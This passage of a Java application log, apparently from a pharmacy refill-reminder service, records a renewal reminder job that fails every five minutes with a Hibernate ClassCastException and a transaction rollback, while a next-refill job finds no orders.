org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 03:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 03:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 03:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 03:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 03:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 03:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 03:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 03:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 03:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 03:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 03:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 03:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 03:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 03:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 03:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 03:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 03:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 03:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 03:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 03:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 03:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 03:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 03:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 03:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 03:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 03:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 03:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 03:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 03:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 03:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 03:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is 